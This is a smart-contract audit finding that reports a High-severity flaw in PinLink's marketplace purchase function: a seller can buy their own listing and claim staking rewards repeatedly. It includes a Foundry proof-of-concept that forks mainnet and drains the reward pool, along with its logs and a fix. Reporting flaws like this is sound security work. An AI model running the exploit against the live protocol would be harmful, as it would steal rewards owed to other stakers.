Upbeat Lime Tardigrade

High

# A malicious user can drain all rewards

### Summary

https://github.com/sherlock-audit/2025-03-pinlink-rwa-tokenized-depin-marketplace/blob/main/marketplace-contracts/src/marketplaces/pinlinkShop.sol#L288-L325

A user lists a certain amount of fractions for sale. When the same address as the listing user is used to call the purchase function, the seller's staked balance doesn't change, but they receive rewards. As a result, this can be repeated until there are no rewards left.

### Root Cause

There is a missing check to ensure that the seller and `msg.sender` are not the same in `PinlinkShop::purchase()`.

```solidity
function purchase(bytes32 listingId, uint256 fractionsAmount, uint256 maxTotalPinAmount) external {
    require(fractionsAmount > 0, ExpectedNonZero());

    Listing storage listing = _listings[listingId];

    address seller = listing.seller;
    uint256 tokenId = listing.tokenId;
    address fractionalAssets = listing.fractionalAssets;

    // make InvalidListingId be the one that fails first
    require(seller != address(0), InvalidListingId());
    // purchases on the exact deadline not allowed
    require(block.timestamp < listing.deadline, ListingDeadlineExpired());

    {
        // to prevent stack too deep
        uint256 listedAmount = listing.amount;
        if (listedAmount < fractionsAmount) revert NotEnoughTokens();
        // update listing information in storage
        listing.amount = listedAmount - fractionsAmount;
        _listedBalances[fractionalAssets][tokenId][seller] -= fractionsAmount;
        
        streams[fractionalAssets][tokenId].transferBalances(seller, msg.sender, fractionsAmount);
    }

    uint256 totalUsdPayment = listing.usdPricePerFraction * fractionsAmount;
    uint256 totalPinPayment = IPinlinkOracle(oracle).convertFromUsd(address(PIN), totalUsdPayment);

    if (totalPinPayment == 0) revert StaleOraclePrice();
    if (totalPinPayment > maxTotalPinAmount) revert SlippageExceeded();

    // transfers the payment to the seller and the fees to the feeReceiver
    // note: ERC20 with callbacks (ERC777) are not supported, so the following should be safe
    (uint256 paymentForSeller, uint256 fees) = _handlePayments(msg.sender, seller, totalPinPayment);

    // buyer receives purchased tokens at the very end (IFractionalAssets.onReceived callback is the most dangerous external call)
    emit Purchased(listingId, msg.sender, seller, fractionsAmount, paymentForSeller, fees, totalUsdPayment);
}
```

The `PinlinkShop::_handlePayments()` internal function calls the PIN token's `transferFrom`, but this check is also missing there.

```solidity
function _handlePayments(address buyer, address seller, uint256 totalPinPayment)
    internal
    returns (uint256 paymentForSeller, uint256 fees)
{
    // fees are rounded in favor of the protocol
    paymentForSeller = totalPinPayment * (FEE_DENOMINATOR - purchaseFeePerc) / FEE_DENOMINATOR;
    fees = totalPinPayment - paymentForSeller;

    // no need to verfy that msg.value==0, because purchases with tokens are done with purchaseWithToken() which is non-payable
    IERC20(PIN).safeTransferFrom(buyer, seller, paymentForSeller);
    IERC20(PIN).safeTransferFrom(buyer, feeReceiver, fees);
}
```

PIN token - [Etherscan](https://etherscan.io/address/0x2e44f3f609ff5aA4819B323FD74690f07C3607c4#code)

```solidity
function transferFrom(
    address sender,
    address recipient,
    uint256 amount
) public override returns (bool) {
    _transfer(sender, recipient, amount);

    _approve(
        sender,
        _msgSender(),
        _allowances[sender][_msgSender()].sub(
            amount,
            "ERC20: transfer amount exceeds allowance"
        )
    );
    return true;
}

function _transfer(address from, address to, uint256 amount) private {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");
    ...
}

function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
}
```

Therefore, when the seller and msg.sender are the same address, the `purchase` function executes successfully.

The `StreamHandler::transferBalances()` function gets called, and the staked balance is subtracted and added for the same address.

```solidity
function transferBalances(RewardsStream storage self, address from, address to, uint256 amount) internal {
    self.updateRewards(from);
    self.updateRewards(to);
    self.stakedBalances[from] -= amount;
    self.stakedBalances[to] += amount;
}
```

Then, the staked balance, which remains unchanged for the address, can be used to list the same asset without making another purchase. This can be repeated until there are no rewards left.

### Internal Pre-conditions

1. The malicious user should have enough PIN tokens to pay fees to the `feeReceiver`.
2. The admin should enable the given asset.
3. The malicious user should have fractional assets, which can be acquired either by minting from `MINTER_ROLE` or by purchasing from a listing.
4. The operator should deposit some rewards.

### External Pre-conditions

-

### Attack Path

1. The malicious user acquires fractional assets and PIN tokens.
2. Creates a listing for the fractional assets with the `list` function.
3. Calls the `purchase` function to purchase their own fractional assets. The seller and msg.sender are the same address in this step.
4. Calls the `claimRewards` function to receive the pending rewards.
5. Receives the rewards, and their staked balance remains the same.
6. Repeats steps 2, 3, and 4 until there are no rewards left.

### Impact

The malicious user drains the entire reward amount from the protocol.

### PoC

Create an `.env` file in root directory with `MAINNET_RPC_URL` environment variable. I am providing a public RPC URL:

```env
MAINNET_RPC_URL=https://eth-mainnet.public.blastapi.io
```

Add the following import statements in `test/pinlinkShop/claimt.t.sol` file:

```solidity
import "forge-std/console.sol";
import {IERC20} from "lib/forge-std/src/interfaces/IERC20.sol";
```

Then, add the following test case:

```solidity
function test_purchase_sameSellerAndBuyer() public depositRewards(asset2, 100e6) {
    // Bob acquires some fractional assets with purchase function
    deal(address(PIN), bob, 10_000_000e18);
    _doPurchase(listingId2, 100, bob);

    vm.prank(bob);
    uint256 fractionsAmount = 100; 
    bytes32 bobsListingId = pshop.list(address(fractions), asset2, fractionsAmount, 1e18, block.timestamp + 12 days);

    (, , uint256 delta,,) = pshop.streams(address(fractions), asset2);
    console.log("deposited total rewards amount by operator", delta / 1e18);
    console.log("-----------------------------------------------------------------------------------------");
    console.log("\n\n");

    uint256 totalClaimedRewards = 0;

    for (uint256 i = 0; i < 6; i++) {
        console.log("bob's staked balance before purchase", _stakedBalance(address(fractions), asset2, bob));
        console.log("-----------------------------------------------------------------------------------------");
        assertEq(_stakedBalance(address(fractions), asset2, bob), fractionsAmount);

        console.log("IERC20(address(PIN)).balanceOf(bob)", IERC20(address(PIN)).balanceOf(bob));
        console.log("-----------------------------------------------------------------------------------------");

        // bob purchases his own tokens
        _doPurchase(bobsListingId, 100, bob);

        skip(1 hours);
        uint256 pendingRewards = pshop.getPendingRewards(address(fractions), asset2, bob);
        totalClaimedRewards += pendingRewards;
        uint256 balanceBefore = USDC.balanceOf(bob);

        // bob calls claimRewards and gets the reward amount, but his staked balance remains unchanged
        vm.prank(bob);
        pshop.claimRewards(address(fractions), asset2);

        console.log("USDC.balanceOf(bob)", USDC.balanceOf(bob));
        console.log("pendingRewards", pendingRewards);
        console.log("balanceBefore + pendingRewards", balanceBefore + pendingRewards);
        console.log("-----------------------------------------------------------------------------------------");
        assertEq(USDC.balanceOf(bob), balanceBefore + pendingRewards);

        console.log("bob's staked balance after claimRewards", _stakedBalance(address(fractions), asset2, bob));
        console.log("-----------------------------------------------------------------------------------------");
        assertEq(_stakedBalance(address(fractions), asset2, bob), fractionsAmount);

        vm.prank(bob);
        bobsListingId = pshop.list(address(fractions), asset2, 100, 1e18, block.timestamp + 12 days);

        console.log("\n");
    }

    console.log("total claimed rewards", totalClaimedRewards);
    assertEq(100e6, totalClaimedRewards + 4); // adding 4 because of the precision loss
}
```

Run the test with `forge test --mt test_purchase_sameSellerAndBuyer -vv` command and the output is:

```sh
Ran 1 test for test/pinlinkShop/claimt.t.sol:StakingShop_ClaimRewards_Tests
[PASS] test_purchase_sameSellerAndBuyer() (gas: 2019079)
Logs:
  deposited total rewards amount by operator 1000000
  -----------------------------------------------------------------------------------------
  


  bob's staked balance before purchase 100
  -----------------------------------------------------------------------------------------
  IERC20(address(PIN)).balanceOf(bob) 9789473684210526315789474
  -----------------------------------------------------------------------------------------
  USDC.balanceOf(bob) 16666666
  pendingRewards 16666666
  balanceBefore + pendingRewards 16666666
  -----------------------------------------------------------------------------------------
  bob's staked balance after claimRewards 100
  -----------------------------------------------------------------------------------------
  

  bob's staked balance before purchase 100
  -----------------------------------------------------------------------------------------
  IERC20(address(PIN)).balanceOf(bob) 9789468421052631578947368
  -----------------------------------------------------------------------------------------
  USDC.balanceOf(bob) 33333332
  pendingRewards 16666666
  balanceBefore + pendingRewards 33333332
  -----------------------------------------------------------------------------------------
  bob's staked balance after claimRewards 100
  -----------------------------------------------------------------------------------------
  

  bob's staked balance before purchase 100
  -----------------------------------------------------------------------------------------
  IERC20(address(PIN)).balanceOf(bob) 9789463157894736842105262
  -----------------------------------------------------------------------------------------
  USDC.balanceOf(bob) 49999998
  pendingRewards 16666666
  balanceBefore + pendingRewards 49999998
  -----------------------------------------------------------------------------------------
  bob's staked balance after claimRewards 100
  -----------------------------------------------------------------------------------------
  

  bob's staked balance before purchase 100
  -----------------------------------------------------------------------------------------
  IERC20(address(PIN)).balanceOf(bob) 9789457894736842105263156
  -----------------------------------------------------------------------------------------
  USDC.balanceOf(bob) 66666664
  pendingRewards 16666666
  balanceBefore + pendingRewards 66666664
  -----------------------------------------------------------------------------------------
  bob's staked balance after claimRewards 100
  -----------------------------------------------------------------------------------------
  

  bob's staked balance before purchase 100
  -----------------------------------------------------------------------------------------
  IERC20(address(PIN)).balanceOf(bob) 9789452631578947368421050
  -----------------------------------------------------------------------------------------
  USDC.balanceOf(bob) 83333330
  pendingRewards 16666666
  balanceBefore + pendingRewards 83333330
  -----------------------------------------------------------------------------------------
  bob's staked balance after claimRewards 100
  -----------------------------------------------------------------------------------------
  

  bob's staked balance before purchase 100
  -----------------------------------------------------------------------------------------
  IERC20(address(PIN)).balanceOf(bob) 9789447368421052631578944
  -----------------------------------------------------------------------------------------
  USDC.balanceOf(bob) 99999996
  pendingRewards 16666666
  balanceBefore + pendingRewards 99999996
  -----------------------------------------------------------------------------------------
  bob's staked balance after claimRewards 100
  -----------------------------------------------------------------------------------------
  

  total claimed rewards 99999996

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 293.89ms (10.70ms CPU time)

Ran 1 test suite in 294.76ms (293.89ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

Check if the seller and msg.sender are the same address.

```diff
function purchase(bytes32 listingId, uint256 fractionsAmount, uint256 maxTotalPinAmount) external {
    require(fractionsAmount > 0, ExpectedNonZero());

    Listing storage listing = _listings[listingId];

    address seller = listing.seller;
    uint256 tokenId = listing.tokenId;
    address fractionalAssets = listing.fractionalAssets;

    // make InvalidListingId be the one that fails first
    require(seller != address(0), InvalidListingId());
+  require(seller != msg.sender, "can't purchase own fractional assets");
    // purchases on the exact deadline not allowed
    require(block.timestamp < listing.deadline, ListingDeadlineExpired());

    {
        // to prevent stack too deep
        uint256 listedAmount = listing.amount;
        if (listedAmount < fractionsAmount) revert NotEnoughTokens();
        // update listing information in storage
        listing.amount = listedAmount - fractionsAmount;
        _listedBalances[fractionalAssets][tokenId][seller] -= fractionsAmount;
        
        streams[fractionalAssets][tokenId].transferBalances(seller, msg.sender, fractionsAmount);
    }

    uint256 totalUsdPayment = listing.usdPricePerFraction * fractionsAmount;
    uint256 totalPinPayment = IPinlinkOracle(oracle).convertFromUsd(address(PIN), totalUsdPayment);

    if (totalPinPayment == 0) revert StaleOraclePrice();
    if (totalPinPayment > maxTotalPinAmount) revert SlippageExceeded();

    // transfers the payment to the seller and the fees to the feeReceiver
    // note: ERC20 with callbacks (ERC777) are not supported, so the following should be safe
    (uint256 paymentForSeller, uint256 fees) = _handlePayments(msg.sender, seller, totalPinPayment);

    // buyer receives purchased tokens at the very end (IFractionalAssets.onReceived callback is the most dangerous external call)
    emit Purchased(listingId, msg.sender, seller, fractionsAmount, paymentForSeller, fees, totalUsdPayment);
}
```